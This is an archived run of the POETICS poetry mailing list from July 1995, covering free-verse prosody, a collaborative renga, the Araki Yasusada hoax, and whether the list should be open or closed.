> *What a coincidence, Ron!~ I have, as you know, just come back from Petersburg (I am going to try to write the trip off as research in Hejinian studies), where I saw a little anthology of 3 poets: (I am bowing to variopus pressure on this net, to concede that pop singers are poets and artists): Huey Lewis, Dewey Redman, and Louis Zukofsky. It was published by the Ducklings Press, Leningrad.*

Dewey Redman, eh?

Who's pressuring you to consider jazz musicians as poets, George?

Enquiring minds want to know.

Herb Levy
[redacted]

↑ Index

601. **Herb Levy**
Re: POETICS Digest - 23 Jul 1995 to 24 Jul 1995
Tue 25 Jul 1995

> *c stroffolino writes:*
> *a hypnotic rhythm "akin to the*
> *saxophone"(as Eliot said of Stein)--*
>
> *chris--do you know how eliot intended this ? was it pejorative, admiring, neutral or all or none of the above?--md*

Eliot's quote must be what made George Bowering think of Dewey Redman.

Just more evidence of Ol' Possum's prescience.

Herb Levy
[redacted]

↑ Index

602. **Michael Boughn**
Re: who is George Bowering?
Tue 25 Jul 1995

There's a rumour on the street in Toronto that "George Bowering" is actually a nom-de-guerre of some ad guy for Disney. Anybody else hear anything?

Mike
[redacted]

↑ Index

603. **Chris Stroffolino**
Re: POETICS Digest - 23 Jul 1995 to 24 Jul 1995
Tue 25 Jul 1995

---

maria---eliot meant it negatively--but I got it from Riding's essay on "stein and the new barbarsm"---SHE meant it positively-- but the recognition of course on Eliot's part (Stein=Saxophone) makes me wonder whether "eliot was of the devil 's part without knowing it"--I mean devil positively, btw....chris

↑ Index

604. **Steven Howard Shoemaker**
renga anyone?
Tue 25 Jul 1995

Reading Araki Yasusada (an Hiroshima poet influenced by Spicer!) in First Intensity #5, it occurred to me that the renga form (in which a group of

collaborators takes turns writing lines) could be nicely adapted to cyberspace--and where better than this list? So, in the hope that someone will take me up on the idea, here's a line:

In the books were dreams and in the dreams were books.

↑ Index

605. **Burt Kimmelman**
Re: the politics of dub
Tue 25 Jul 1995

Alan,

What do you mean "if it's Pine"? Anyway, I'll try control H--but when should I try it?

(Sorry everyone for this unabashed display of private email problem with the List).

↑ Index

606. **Burt Kimmelman**
Re: Free Verse Foot
Tue 25 Jul 1995

Jim (et al.),

I see Marjorie's point. Anyway, let me be pollyannish and say that we don't have the tools to quantify modern and postmodern verse satisfactorily yet.

now let me be a wet blanket and say that, thanks to grad school and beyond (the perils of an education where I saw/read enough poetry from various times and places to see that there is no definition of poetry which can be applied universally), poetry has been "demystified" for me; there is no such thing as poetry (though I'll play the scan game anytime because it is so much fun but inconclusive). There is only the poetic. And there is history, a pleasure and maybe of some use to scholar and poet alike.

Scanning only makes sense when it is bracketed historically--which is not to say (again) that scanning isn't worth one's while--that is, if one wishes to talk about poetry.

Burt

↑ Index

607. **Tony Green**
Re: libraries
Tue 25 Jul 1995

I recall that Univ of Edinburgh library, when newly installed in a modern building with very large floor areas, had Michelangelo Architecture, Michelangelo Sculpture, Michelangelo Painting several hundred yards apart under the auspices of Dewey. Also under Dewey, Bernini's Architecture was under Baroque and Christopher Wren's several blocks away under Renaissance. The librarian responsible at that time was simply not interested in discussing the arbitrariness of Dewey's style categories, in which Baroque was located in southern Europe while Northern Europe was undergoing a belated Renaissance. Effectiveness of any system depends on the discretion and flexibility of the user.

↑ Index

608. **George Bowering**
Re: who is George Bowering?
Tue 25 Jul 1995

I have heard rumours that there is some guy, a novelist or something, going around using the name "George Bowering." This man is an imposter.

I am the real GB, and I am a simple first baseman and historian.

↑ Index

609. **George Bowering**
Re: who is Woody Allen?
Tue 25 Jul 1995

Hey, Herb, some of my favourite poets are jazz musicians.

Like Cecil Taylor and Woody Allen.

↑ Index

610. **George Bowering**
Re: POETICS Digest - 23 Jul 1995 to 24 Jul 1995
Tue 25 Jul 1995

I think that I am getting something od what Marjorie is feeling when she introduces the difference between Williams and Ashbery. (Or how about the crossbred _Ko_ as in discursive endrime?). Certainly in Ashbery I do not hear much in the way of feet walking (though I think I still do in O'Hara's Lunch

Poems). But I still dont hear feet as necessarily regular. Maybe this is because I grew up in the mountains, where you cannot march.

↑ Index

611. **Wystan Curnow**

Re: POETICS Digest - 23 Jul 1995 to 24 Jul 1995

Tue 25 Jul 1995

Hi Maria,

I wait with you for cris's reply.I thought maybe : saxophone=jazz. Which would make some sense of the *hypnotic*.
Is Eliot *primitivizing* Stein?

Wystan

↑ Index

612. **David Kellogg**

Re: Free Verse Foot

Tue 25 Jul 1995

This discussion has been interesting. I tend to agree with Burt that we don't know enough yet to say conclusive things about current meter. Even more: to talk about a "current" conception of measure as being particularly current tends to bracket others as "less current" and thus to install a kind of a priori evaluative axis which I don't think is particularly helpful. There are lots of measures at work today; that fact alone makes "periodization" in the sense that (I think -- correct me if I'm wrong, Marjorie) Marjorie implies hopelessly reductive, since all such measures are by definition current.

Cheers,
David
~~~
~~~

613. Joseph Zitt
Renga Round the Poesy
Tue 25 Jul 1995

I don't know if this is a common thing in renga wrangling, but I'm interested in following up on what has started with the multiple second lines being offered -- perhaps we could set up an ongoing hypertext, branching off as the writing does so.

(Pardon if this is a beentheredonethat -- I am but a poor wagon driver and unstudied in the ways of these lands B-].) ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/ Online Representative, Austin International Poetry Festival \| / <A HREF="http://www.realtime.net/~jzitt/"> Joe Zitt's Home Page</A>\

↑ Index

614. Susan Schultz
Rejected posting to [redacted] (fwd)
Tue 25 Jul 1995

Here's a belated posting; like Gabrielle, I was exiled from the list for a time.

---------- Forwarded message ----------
Date: Mon, 17 Jul 1995 18:29:47 -1000
From: L-Soft list server at UBVM (1.8b) <[redacted]>
To: [redacted]
Subject: Rejected posting to [redacted]

You are not authorized to send mail to the POETICS list from your [redacted] account. You might be authorized to send to the list from another of your accounts, or perhaps when using another mail program which generates slightly different addresses, but LISTSERV has no way to associate this other account or address with yours. If you need assistance or if you have any question regarding the policy of the POETICS list, please contact the list owners: [redacted].

---------- Rejected message (48 lines) ----------
V1.2a/1.8a) with BSMTP id 9677; Tue, 18 Jul 1995 00:24:46 -0400
with TCP; Tue, 18 Jul 95 00:24:40 EDT
with SMTP id <11434(5)>; Mon, 17 Jul 1995 18:20:57 -1000
17 Jul 1995 18:24:24 -1000
Date: Mon, 17 Jul 1995 18:24:17 -1000
From: Susan Schultz <[redacted]>

To: [redacted]
Subject: innocence and language (fwd)

---------- Forwarded message ----------
Date: Sun, 16 Jul 1995 23:03:29 -1000 (HST)
From: Susan Schultz <[redacted]>
To: UB Poetics discussion group <[redacted]>
Cc: Recipients of POETICS digests <[redacted]>
Subject: innocence and language

Marisa & Maria--on the "ghost" in the machine, Joan Retallack has a fascinating essay, ":RE:THINKING:LITERARY:FEMINISM:(three essays onto shaky grounds)," where she suggests that the ghost in the machine of feminist writing is in fact masculine. Experimental writing may be feminist, she argues, but much experimental writing is done by men (Russian futurists, British and American moderns, and so on). "It may seem like a betrayal of the few courageous women who are our clear 'feminist' ancestors . . . to acknowledge a 'feminine' tradition dominated by males. But it is far worse to deny the presence of the feminine in language (as Ostriker and others do) by missing the fact that the feminine has never been exclusively 'embodied' in female writers." The essay can be found in FEMINIST MEASURES, edited by Lynn Keller and Cristanne Miller (U of Michigan Press). There are problems with the argument--why still call this move "feminine"?--but it is a marvelous antidote to Ostriker et al's essentialism. And it gives access to Retallack's own poetry (her new book IS good, Rod), which refuses to take easy gender-based "sides."

Susan

↑ Index

615. **Wystan Curnow**
Jerome McGann
Tue 25 Jul 1995

Dear Group.
I need an e-mail address for Jerome McGann. Can anyone oblige?
Wystan

↑ Index

616. **maria damon**
Re: POETICS Digest - 23 Jul 1995 to 24 Jul 1995
Wed 26 Jul 1995

---

chris s writes:
> maria---eliot meant it negatively--but I got it from Riding's essay
> on "stein and the new barbarsm"---SHE meant it positively-- but the
> recognition of course on Eliot's part (Stein=Saxophone) makes me
> wonder whether "eliot was of the devil
> 's part without knowing it"--I mean devil positively, btw....chris

thanks chris; riding on stein sounds like a trip. i'll save this tidbit for later use. i'm spozed to write something on stein in the next year... and this kinda fits in, or --i like it so much tht i'll make it fit in.--md

↑ Index

617. **Rod Smith**
Re: renga anyone?
Wed 26 Jul 1995

But at what point did she say to herself "I wanna be a wonk"

↑ Index

618. **maria damon**
Re: renga anyone?
Wed 26 Jul 1995

In message <[redacted]> UB Poetics
discussion group writes:
> Reading Araki Yasusada (an Hiroshima poet influenced by Spicer!) in
> First Intensity #5, it occurred to me that the renga form (in which a
> group of collaborators takes turns writing lines) could be nicely
> adapted to cyberspace--and where better than this list?
> So, in the hope that someone will take me up on the idea, here's a line:
>
>
>
>
> In the books were dreams and in the dreams were books.
In the crooks were nannies and in the nannies began responsibilities.

↑ Index

619. Charles Alexander
Re: renga anyone?
Wed 26 Jul 1995

Thanks, Steven Howard Shoemaker. You have begun the renga with a line as a sentence. Is this usual? Is it variable? Do feet fly?

In the books were dreams and in the dreams were books.
And flew through windows, lightning green and fine morning

charles alexander [==========^^==========]
chax press [<>] minnesota center for book
arts [maybe a <> pages] phone & fax: [redacted] [time
<> letters] e-mail: [redacted] [upon <> frames]
[once <> motion] [<>]
[==========vv==========]

↑ Index

620. Rod Smith
Re: renga anywhat?
Wed 26 Jul 1995

I think the renga on the list idea a good one. I posted a sentence assuming that we were following "the linked verse" of responding with a line that is as far away as possible from the preceding. If I'm wrong about this scratch my wonk bit.

I feel an obligation to point out that it's not clear that Haraki Yasusada actually exists. I published a group discussion in _Aerial 6/7_ called "Renga & the New Sentence" by what purported to be three Japanese poet/critics. I suspected at the time that it might be a fake, but chose to publish it anyway, as it was simply too good to turn down. I've since had a conversation that *seems* to confirm my suspicions (No, I can't say more than that). Tho it's still unclear. I've talked to at least one person that's pretty unhappy abt it. Implication being that an American posing as a Japanese from Hiroshima should be questioned. They're probably right about that. What caused me to question the "authenticity" of that text was that it was a little too good & the speakers were a little too knowledgeable to be, I thought, never seen or heard from by anybody on the scene. I mean this poetry gang of ours-- it's NOT that big. Does anybody out there know Tosa Motokiyu, &/or Ojiu Norinaga, &/or Okura Kyojin? I mean _besides_ Nils Ya. --Rod

Steven Howard Shoemaker wrote:
>Reading Araki Yasusada (an Hiroshima poet influenced by >Spicer!) in
First Intensity #5, it occurred to me that the renga form (in

>which a
group of collaborators takes turns writing lines) could be >nicely
adapted to cyberspace--and where better than this list?
>So, in the hope that someone will take me up on the idea, here's a line:

> *In the books were dreams and in the dreams were books.*

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621. Jonathan Brannen
Re: Free Verse Foot
Wed 26 Jul 1995

Burt,

Poetry has been "demystified" for you so it no longer exists?

Well, I never thought I'd find myself quoting Dylan Thomas but:

"The tricks are easy to learn, it's the art that's difficult." (or words to that effect).

Best,
Jonathan

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622. Kevin Killian
Re: Yasusada = Ern Malley
Wed 26 Jul 1995

This is Kevin Killian . . . I have my own two cents to add about the Yasusada saga, but first I want to know if I understand correctly, is "First Intensity" publishing yet more "new" work by Yasusada? It seems like a nightmare from several years back.

I remember trying to get in touch with Tosa Motokiyu who for some reason had a P O Box in Sonoma County somewhere, and was sent a phone number-it was like a spy novel by Ian Fleming. Anyhow late at night, say, after midnight, a woman called me up and told me that Tosa Motokiyu was not to be bothered any more, that he was going through a painful divorce and no, no matter what I thought, neither the Yasusada circle nor the Motokiyu-Norinaga-Kyogin circle had any homosexual implications. No unlike the Georgekreis or the Spicer group there was no homosexual taint to either Japanese group.

"I was just wondering," I said defensively.

"You have been misled, by your own imagination," she replied calmly. "You don't understand the Japanese way of life."

This was so true I couldn't think of what to add. She explained that Japanese poets giggle at Western homosexuality.

After we hung up I had this uneasy feeling and started wondering whether or not Motokiyu had been honest with me.

Then I heard that the whole Yasusada corpus was very much a contemporary product of a middle-aged white male poet, well known in the US, but not well enough known for his own self-esteem as we say here in San Francisco. This man had come up with the idea of inventing a whole Hiroshima poetry to test the openness of U S magazines. He was frustrated that his own poetry was being rejected at every turn whereas people of color no matter how untalented were being published. "Yasusada" was to be his revenge on the whole idea of the "politically correct," "multicultural" range of writing being published & preferred today.

I was sent dozens and dozens of Yasusada's poems, and like Ron, was impressed. This was clearly a labor of love, if a little crazy and, by implication, way homophobic and racist. These events took place several years ago as I say. But I am still smarting from that dry little laugh on the phone from Sonoma. If Lee Chapman is on this list perhaps she could clear up how and when she came in contact with the poetry she printed in "First Intensity"? Thanks you all!

Rod writes:
>
>"I feel an obligation to point out that it's not clear that Haraki
>Yasusada actually exists. I published a group discussion in _Aerial
>6/7_ >called "Renga & the New Sentence" by what purported to be three
>Japanese poet/critics. I suspected at the time that it might be a fake,
>but chose to publish it anyway, as it was simply too good to turn down.
>I've since had a conversation that *seems* to confirm my suspicions
>(No, I can't say more than that). Tho it's still unclear."
>
>Both Avery Burns and Eric Selland swear that Yasusada is a fictive
>project, as are his translators. Selland, a translator of Japanese by
>trade who's spent years over there and knows the poetry scene
>intimately, should be in a position to know.
>
>Still, the work in Conjunctions is very good. I posted an enthusiastic
>comment to this list when it first came out that I believe Luigi-Bob
>may have reprinted in Taproot.
>
>Ron

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623. **Ron Silliman**
Yasusada = Ern Malley
Wed 26 Jul 1995

Rod writes:

"I feel an obligation to point out that it's not clear that Haraki Yasusada actually exists. I published a group discussion in _Aerial 6/7_ >called "Renga & the New Sentence" by what purported to be three Japanese poet/critics. I suspected at the time that it might be a fake, but chose to publish it anyway, as it was simply too good to turn down. I've since had a conversation that *seems* to confirm my suspicions (No, I can't say more than that). Tho it's still unclear."

Both Avery Burns and Eric Selland swear that Yasusada is a fictive project, as are his translators. Selland, a translator of Japanese by trade who's spent years over there and knows the poetry scene intimately, should be in a position to know.

Still, the work in Conjunctions is very good. I posted an enthusiastic comment to this list when it first came out that I believe Luigi-Bob may have reprinted in Taproot.

Ron

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624. **Ron Silliman**
Re: secrets of the list
Wed 26 Jul 1995

Re Jim Rosenberg's
><OPINION>
>
>I am living in what I would call an overt state of corruption regarding whether this list should be closed or open. I say this because I believe it should be open, and yet I value the relatively high signal to noise ratio, which will, certainly, deteriorate if the list is completely open. Actually, to be a bit more accurate: it is technically incorrect to say the list is closed. The list is fully open in the sense that anyone who knows the correct E-mail address is auto-subscribed simply by sending a message. It is also technically incorrect that the list is "secret". The fact that it is openly archived on EPC -- along with enough address stamp information to give anyone who can put two and two together the information for how to subscribe -- means that it the list is, in an obscure way, being advertised. [That happens to be the way *I* found my way onto the

list; *TWO* major members of the list (who will remain nameless)
"invited" me to subscribe but didn't tell me how!]
>
>There is something mildly offensive about archiving the list in a
publicly available place (EPC) and yet maintaining that the list is
closed. We seem to be saying *OUR* words are worth archiving, dear net
surfer, but *YOURS* are not, we won't tell you how to get on this list.
This is pretty much contrary to the general spirit of the net, it
seems to me.
>

I don't see anything "mild" in its offensiveness, actually. Anyone who has checked out the Usenet groups on poetry will see how closely they map to a vision of literature proposed, say, by Writers Digest. And I think there's a "fear" here that there would be "contamination" if this list were suddenly to show up in all the Listserv directories. Also, it's not strictly true that this is the only place to seriously discuss poetry. A somewhat more moderated group, CAP-L, maps fairly closely to the New Formalist set of concerns (or did until it got it's address posted here and I, Bill Luoma, Chris Stroffalino (sorry about that spelling) and others "polluted" it).

My own sense is more openness is good, but how to go about that. I, for one, would have no compunction about listing this list on a very compatible discussion group (and I would include CAP-L and Joseph Zitt's Silence (Cage) discussion groups as two examples). Frankly, anybody who discovers the EPC and is intrigued by the Poetics archives ought to be told how to sign up (in fact, that should probably be a part of the archives, no?).

Ron

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625. **Ron Silliman**
Renga 3
Wed 26 Jul 1995

>In the books were dreams and in the dreams were books
That cooks would look to in the hope of

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626. **Ron Silliman**
Renga 1
Wed 26 Jul 1995

>
>In the books were dreams and in the dreams were books.
>And flew through windows, lightning green and fine morning
 First inverted whistle of a cardinal in the poplar

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627. **Ron Silliman**
Re: renga anyone?
Wed 26 Jul 1995

In the books were dreams and in the dreams were books.
In the crooks were nannies and in the nannies began responsibilities.
And desire. To which, Mr Stanley, to wit, "Mistah Bowering, he...

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628. **Nanker Phlege**
pseudononomous newbie
Wed 26 Jul 1995

---

 hi all, been perusing and emotionally espousing over the past day-- this list, in particular. i have chosen an alias howevver some albany folks may know who this is...it is slightly easier to relate to cyber- folks when certain things are _not_ an issue....in terms of the current prosodic debate, i've found e.a.poe's essay _rationale of verse_ to be a witty and insightful adventure into that topic. dry, very dry posting, but there is so much to read, learn and digest (too bad there is no way to use _logic_ symbology on this screen, ie "therefore") i have chosen to receive these postings via the _digest_ able option, therefore responses may be referential to the previous day's discourse. have a great day.

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629. **Lisa Samuels**
Re: Jerome McGann
Wed 26 Jul 1995

---

dear wystan curnow:

[redacted]

will get you there. the system routes it for you.

lisa samuels

> *Dear Group.*
> *I need an e-mail address for Jerome McGann. Can anyone oblige?*
> *Wystan*

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630. **Charles Alexander**
Re: secrets of the list
Wed 26 Jul 1995

About the list, open or closed, are we snobs?

I never thought the list was closed, never was told that. What I was told was that the address should not be published on other lists, and particularly not on any directories of lists. However, there was encouragement to tell people about it and tell them how to subscribe if they so desired. Growth was expected, with some sense as well that the list would work best if there was at least a general sense of knowing the people on the list (not necessarily knowing them before they participated, but getting to know them on the list as well). My assumption was that eventually the list, no matter what participants did, would grow to a size that wasn't so cozy. But it seems people drop off the list and drop on. Some drop back off. Some drop back on. So it seems there remains (I've been here a year or more now) a sense of knowing who one is talking with.

Admittedly the ability to reach the archived list at EPC (which I first found while browsing the web, although I did know about EPC before that) complicates things for me. It's so easy to find on the web (at least if one has Yahoo to point to art, then literature, then poetry) that it makes the list seem very open indeed.

Still, I don't know that a change is needed in how it is managed. I don't know if we're snobs or not. If we think of it as closed, then, yes, we're snobs. I do agree with Jim Rosenberg that there is a need for a "fully open" place to discuss poetry & poetics. However, if there were such a place, would I find the discussion more or less enlivening than I find it here? I don't know; I suppose I'd try it and find out. Here I've heard about foot, soul, and jelly roll, buffalo wings, cassette royalties, and a little more.

charles alexander [==========^^==========] chax press [<>] minnesota center for book arts [maybe a <> pages] phone & fax: [redacted] [time <> letters] e-mail: [redacted] [upon <> frames]

[once <> motion] [<>]
[==========vv==========]

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631. **Charles Alexander**
Re: renga anyone?
Wed 26 Jul 1995

On Wed, 26 Jul 1995 03:07:36 -0700,
Ron Silliman <[redacted]> wrote:

In the books were dreams and in the dreams were books. In the crooks were nannies and in the nannies began responsibilities. And desire. To which, Mr Stanley, to wit, "Mistah Bowering, he... suffers himself too much, perhaps a small tango would permit

charles alexander [==========^^==========]
chax press [<>] minnesota center for book arts [maybe a <> pages] phone & fax: [redacted] [time <> letters] e-mail: [redacted] [upon <> frames]
[once <> motion] [<>]
[==========vv==========]

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632. **Kali Tal**
CFP--1995 Sixties Conference, Deadline extended
Wed 26 Jul 1995

We've extended the deadline for the Conference to August 15. Please forward this call for papers to any appropriate list or person.

!!!CALL FOR PAPERS!!!

1995 SIXTIES GENERATIONS CONFERENCE

An Interdisciplinary Conference of
Scholars, Activists and Artists

October 5-8, 1995

Western Connecticut State University
Danbury, Connecticut

Proposals due: August 15, 1995

I invite you to join us for the third annual Sixties Generations Conference: From Montgomery to Viet Nam on October 5-8, 1995. Last year over 400 scholars and students joined us at Western Connecticut State University to hear more

than one hundred presentations by academics, activists, and artists. The Sixties Generations Conference is a showcase for intelligent and lively academic work in a variety of disciplines and studies fields, but what makes it special is the interdisciplinary emphasis and the collegial atmosphere. We've demonstrated that mixing academics with artists, crossing disciplines, and spanning generations fosters a creative and collaborative excitement that can't be matched. Our evaluation forms showed that over 95% of those who attended last year will be back in 1995. Here are some comments we received:

"The Conference provided a rare opportunity to not only learn from scholars and artists but to engage in fruitful discussion that multiplied the impact of the meetings many times over. The organization and administration of the conference was superb and the facilities excellent. What was most gratifying was how so many of the scholars and artists in their lives and work sought to cut across traditional boundaries of gender, academic disciplines, and even of age: there was a

lively mix of younger students and scholars and well-established teachers and professors. I look forward to next year's meeting knowing it will be a highlight of my academic annual activities."

"The conference was an outstanding mix of scholars, students, artists, participants, participant-observers, etc. One could sample informal networking and heavy-duty scholarship. The interactions of panels and audience was lively and informative. Keep it up!"

"I particularly appreciated the interdisciplinary nature of the conference. If not unique, it is extremely rare. Vietnam veterans, scholars, antiwar activists, artists, musicians, and writers all dealing with the same subject--in a better society, Vietnam Generation would be recognized and nurtured as a national resource.

We remain committed to interdisciplinary work and to seeking diverse presentations. We particularly encourage the participation of those traditionally under-represented in academic discourse, and we do not shrink from controversial topics. In addition to soliciting work from traditional disciplines, we enthusiastically invite presentations in African American Studies, Chicano Studies, Women's Studies, Native American Studies and other studies programs.

We know that most of the best work at conferences is done between sessions, when people get the chance to talk, to share stories, to set up collaborations. So we do our best to make sure that there is plenty of time for these activities-we arrange for meals to be available at the conference site, set up a lounge for refreshments, and keep coffee and tea available all day long. We also arrange evening events--our Sixties style coffeehouse reading was so successful last

year that we will do it again, breaking it up into two nights of poetry, fiction, multimedia and performance art.

As usual, we are doing all this work on a shoestring. Viet Nam Generation, Inc., is a literary and educational nonprofit which cannot yet afford to salary its staff. This conference has been supported entirely by volunteer efforts, the registration fees of participants and by our book sales. The facilities are generously provided by Western Connecticut State University. We know that many conferences can afford to waive fees for those presenting papers, but we cannot. We do waive fees for those who would not otherwise be able to participate, and we do our best to find alternative housing for those who cannot afford hotel rooms. We're committed to the notion that no one should be turned away for lack of funds. To meet this goal we rely on support from those who do have funds-faculty members or others with full-time positions and decent incomes. In fact, we encourage you, if you can afford it, to pay an extra registration fee to cover someone else with fewer resources.

We also encourage you to subscribe to our journal, Viet Nam Generation, a forum for interdisciplinary written work on the war. We publish many of the Sixties Generations Conference papers in the pages of the journal, which is now entering its seventh volume year. Your support enables us to continue our efforts.

Part of our philosophy is that we do not rank those who attend the Sixties Generations Conference-there are no "stars" here; we don't even put your institution on your name tag. We have no "keynote" speakers or "special" sessions. Those who attend don't do it for their c.v. They do it-and we do it-because the work we all do is vital, because we believe in an alternative to the rest of the deadly dull gatherings which pass for conferences in academia, and because we are dedicated to building a community of scholars, activists, and artists who can support each other in our work.

I look forward to seeing you in October.

Kali Tal
Sixties Project & Viet Nam Generation, Inc.
18 Center Rd., Woodbridge, CT 06525
203/[redacted]; fax 203/[redacted]
email: [redacted]
home page: http://kalital.polisci.yale.edu

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633. **Joseph Zitt**
Re: Renga 1
Wed 26 Jul 1995

On 26 Jul 95 at 3:04, Ron Silliman wrote:

> >
> >In the books were dreams and in the dreams were books.
> >And flew through windows, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
Solemn air and sabbath retrograde
---------1---------1---------1---------1---------1---------1----------
|||/ Joseph Zitt ==== [redacted] ===== Human Systems \|||
||/ Organizer, SILENCE: The John Cage Mailing List \||
|/ Online Representative, Austin International Poetry Festival \|
/ <A HREF="http://www.realtime.net/~jzitt/"> Joe Zitt's Home Page</A>\

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634. **Willa Jarnagin**
Re: Free Verse Foot
Wed 26 Jul 1995

> *now let me be a wet blanket and say that, thanks to grad school and beyond (the perils of an education where I saw/read enough poetry from various times and places to see that there is no definition of poetry which can be applied universally), poetry has been "demystified" for me; there is no such thing as poetry (though I'll play the scan game anytime because it is so much fun but inconclusive). There is only the poetic. And there is history, a pleasure and maybe of some use to scholar and poet alike.*
>
> *Burt*

What a loss! Poetry has been demystified for you and you no longer believe in it. There's no such thing as poetry?

I think this is where Theory goes back in time and kills its mother. What are we all talking about if there is no poetry? Come on. Of course there is.

The more I "know" about poetry, the more mysterious it becomes. The more I write, the harder it gets.

Just because there is no universal, static definition of poetry, that doesn't mean it doesn't exist. Though perhaps it is a matter of faith. We don't know what souls are either, but many of us believe we have them. Who knows what animates one pile of words and not another? But can you deny that some word combinations do "come to life," invoke something beyond narrative, some

mystery? To me, the very undefinability (is that a word?) of a poem is what MAKES it a poem.

I can't believe grad school can kill a great poem, because nothing can kill a great poem. Maybe the ability to fathom mystery is wounded by certain kinds of education. If somebody convinces you that you know that much, maybe you ought to wonder....

Willa J.

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635. Willa Jarnagin
Re: renga anyone?
Wed 26 Jul 1995

In the books were dreams and in the dreams were books
writing themselves senseless, battery low

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636. Alan Golding
Various and Sundry II: The Smorgasbord
Wed 26 Jul 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

A number of folks have asked, backchannel and front(?)channel, about the taped readings that I mentioned: details on how to get them, etc. You should contact Harriette Seiler, the Twentieth-Century Conference director; e-mail is [redacted]. Harriette will have more specific information than I do on the exact tapes that are available, price, etc. Let me know if you have any problems getting hold of her.

Tom Kirby-Smith and "I can't walk": Yes, Phil Collins, but if we're (I'm) going to be scholarly about it, Phil in his post-Peter Gabriel Genesis incarnation, not in his Phil Collins incarnation.

On "soul," "spirit," etc. (I promise I won't say a word on it after this): for fine (in all senses) meditations on these issues by a terrific contemporary poet, see John Taggart's slim book on Hopper, Remaining in Light, and his recent essay collection, Songs of Degrees (U of Alabama P). The questions involved are more complicated than those of personal "belief," I take it; and I take it partly because even as a devout atheist who can occasionally approach agnosticism on a good day, I've found these books v. compelling reading.

On the free verse prosody discussion: years ago I wrote an essay on Olson that began as an attempt to come up with some kind of system or methodology for analyzing/discussing non-metrical prosody. Part of my argument, however, was that one needed to approach this analysis on a poet-by-poet, case-by-case basis; that you could generalize about an individual poet's practice (or practices, allowing for work by the same person in different modes, different stages of their career, etc.) but that it was awfully hard to come up with a method that applied across different poets' work (except for something that operated at an unsatisfactory level of generality). And I tried to illustrate all this via what now looks like a rather pedantic and technical close prosodic analysis of "In Cold Hell, In Thicket." I have pretty mixed feelings about this essay now, but my excuse/defense is that at the time of writing (late '70s) hardly anything had been done on the subject as far as I knew, though I think Don Wesling was getting going on his work around the same time. Anyway, for anyone who's interested, the piece was in Language and Style 14 (1981).

Alan

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637. **maria damon**
Re: secrets of the list
Wed 26 Jul 1995

---

charles a writes
> About the list, open or closed, are we snobs?
..
>
> I don't know; I suppose I'd try it and find out. Here I've heard
> about foot, soul, and jelly roll, buffalo wings, cassette royalties, and a
> little more.
>
thanks for the thoughtful discussion, charles. but i missed the buffalo wings.
has the soul been discovered therein?--md

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638. **Jim Rosenberg**
Re: Free Verse Foot
Wed 26 Jul 1995

Marjorie Perloff:
> I certainly didn't mean to give the impression that I don't care about
> metrics. ON THE CONTRARY!

Good, I had a feeling I was misunderstanding something.

> *All I meant was that the word "foot" is applicable only in cases of syllable-stress prosody (i.e. meter), where we count feet.*

Agreed. Your aversion to the word foot in a "free verse" context is based on counting, mine on the a priori character of the analysis, but we come out the same place.

> *My point about free verse is different. Strictly speaking, free verse means no counting, a variable line,*

Agreed again.

> *and the line as unit rather than the foot, or number of stresses or number of syllables per line, and so on.*

Whoa. I *don't* agree here. Surely everyone knows the syllables are there, and we all talk a lot about line-breaks, and without question there has been a lack of attention to an intermediate level *structural* metrical unit between the line and the syllable. In my opinion this is simply a gap in our methodology rather than the inappropriateness of such a unit.

To return to Creeley for a moment: The non-standard measure boundaries at the end of the line are *very* prominent; everyone hears them. The *standard* measure boundaries in the middle of the two-measure lines are much more subtle. They (together with the fact that some lines are indeed one measure) are what gives Creeley's rhythm its subtlety, its fluidity, its very life it seems to me. If you only look for syllables and stresses and line breaks you miss this completely.

It is exactly to give meaningful identity to a metrical unit intermediate between the syllable and the line that I've been talking about measure boundaries, bonding strength, etc. In my opinion, we haven't had much to say about an intermediate level metrical unit not because there isn't anything useful to say but because we *haven't been looking* for these units. (And why? Because 'foot' has so much baggage!) When you do go looking for them they are right there, in plain earshot, and pretty interesting.

> *Now: if Williams writes "free verse," what does John Ashbery write?*

I've never tried to scan Ashbery, but would love to try. Is there a tape of a reading of _Flowchart_ available somewhere? Until actually scanning Ashbery I would not want to predict the outcome; frankly the Creeley results surprised the hell out of me.

> you always start with
> actual analysis of stress, syllable count, pitch, juncture, etc.
^^^^^^^^

Now I'm confused again: perhaps we really *don't* disagree on an intermediate level unit of metrics???

--
Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124
WELL: jer
Internet: [redacted]

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639. **Jim Rosenberg**
Re: secrets of the list
Wed 26 Jul 1995

[Since the subject came up of proper etiquette for telling others about this list ...]

<OPINION>

I am living in what I would call an overt state of corruption regarding whether this list should be closed or open. I say this because I believe it should be open, and yet I value the relatively high signal to noise ratio, which will, certainly, deteriorate if the list is completely open. Actually, to be a bit more accurate: it is technically incorrect to say the list is closed. The list is fully open in the sense that anyone who knows the correct E-mail address is auto-subscribed simply by sending a message. It is also technically incorrect that the list is "secret". The fact that it is openly archived on EPC -- along with enough address stamp information to give anyone who can put two and two together the information for how to subscribe -- means that it the list is, in an obscure way, being advertised. [That happens to be the way *I* found my way onto the list; *TWO* major members of the list (who will remain nameless) "invited" me to subscribe but didn't tell me how!]

There is something mildly offensive about archiving the list in a publicly available place (EPC) and yet maintaining that the list is closed. We seem to be saying *OUR* words are worth archiving, dear net surfer, but *YOURS* are not, we won't tell you how to get on this list. This is pretty much contrary to the general spirit of the net, it seems to me.

One point that I think should be made is that there is *no* "serious" newsgroup (that I'm aware of, at any rate) on USENET for discussing poetry. Where are the people who are not on this list who want to have a serious discussion of the poetries we talk about here supposed to go??

A private list should be *PRIVATE*. That means (1) subscription only by permission of a moderator; (2) archiving only by ftp under a non-anonymous account with a password; etc.

One possibility would be to keep this list the way it is but start a parallel fully public list. It would try to enforce signal to noise ratio by sheer netiquette, the way most of the net does it. (Signal to noise ratio is *excellent* on most of the USENET technical groups; ht_lit, which has some parallel concerns to this list, is fully open and has a fine signal to noise ratio.) Hopefully, the open list would suck the life out of the pseudo- closed list; if instead the open list degenerates into a mess of mindless posturing then there is still the "closed" list to fall back on.

It does trouble me that there is no open list/newsgroup for discussions of the kind we have here. To put it as bluntly as possible: Are we snobs, or what?

</OPINION>

--

Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124
WELL: jer
Internet: [redacted]

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640. **Rod Smith**
Re: Free Verse Soot
Wed 26 Jul 1995

